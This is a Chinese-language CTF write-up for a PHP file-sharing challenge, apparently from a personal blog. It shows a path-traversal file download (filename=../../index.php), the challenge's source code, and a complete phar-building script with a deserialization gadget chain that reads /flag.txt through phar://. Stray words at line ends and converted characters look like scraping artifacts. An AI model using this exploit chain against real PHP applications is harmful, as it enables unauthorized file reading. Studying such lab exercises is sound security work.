首先得反省一下,我居然将近三天没作web题目了,这这这仍是一个web狗应该作的吗?反思一下呜呜呜。。。php
什么是phar反序列化呢?html
下面的文章可能会有点帮助来自jianshumysql
按照个人理解来讲呢,就是把危险的文件上传到服务器?而后借助某些功能与危险函数实现危险的操做,太笼统了。具体来讲呢就是php文件系统中很大一部分的函数
在经过phar://
解析时,存在着对meta-data
(在这里<meta-data>区域
面搞反序列化的pop链)反序列化的操做。web
<?php /**上面的这里写pop链*/ /**下面的东西通常是不变的*/ $phar = new Phar("7.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); //set-metadata参数会变 $phar->stopBuffering(); ?>
下午好,web狗。
终于清理掉这个老顽固了。sql
先分析源代码找出pop链,代码怎么找?服务器
注册登陆后,有个上传文件的地方,上传过图片后能够删除或者下载,而后就想着多是文件上传漏洞,开始我还觉得要上传图片马。。函数
这里的这个任意文件下载->先用burp抓包,修改其中的filename字段就能够了,改成../../index.php下载主页代码。其余代码相似也能下载,这信息收集真的难顶,收集能收集10分钟,我丢。fetch
利用的类都在class.php文件里面,下面是class文件的内容this
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
其中利用的重中之重是下面的部分代码code
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function __destruct() { $this->db->close(); //2 } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function close() { return file_get_contents($this->filename); //1 } } ?>
用下面的脚本生成一个phar的文件,菜狗痛枯。贼鸡儿麻烦啊。
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("7.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->addFromString("exp.txt", "test"); //添加要压缩的文件 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest //签名自动计算 $phar->stopBuffering(); ?>
分析一下pop链
首先是建立一个user类的对象$a,而后将$a的db属性实例化为FileList对象。FileList里的$file属性实例化为File对象,利用filename属性读取flag.txt文件,最后用$this->files = array($file);负责输出flag。
她的各类方法的调用顺序为,首先$a的db属性实例化为FileList对象,这样当$a对象被销毁时就会触发__call()函数
(由于db实例化为对象了,而filelist类里面没有close()方法,故会触发__call()方法)
。第二是为使close方法里面获取的文件为flag,就要让$this->filename=flag文件
,就在filelist类里面写入了file属性=file对象,而且该对象的filename属性为/flag.txt也就是咱们的文件。如今flag已经在file对象里面了,而后咱们再借用一下filelist类的__call()方法,把flag.txt打入results里面,最后经过析构函数将results打入result,而后入table,最后将table属性echo出来,实现读取文件。
想生成phar文件要先把只读属性给关掉,以下图所示
,而后生成phar文件以后上传(要先改后缀名为png)。
上传成功后打开bp,删除文件时改包名为phar://7.png
,成功获取flag如图
向本身不熟悉的方向发起挑战,虽然开始会有些困难,可是坚持下去就能得到快乐,嘿嘿。
月上柳梢头,人约黄昏后。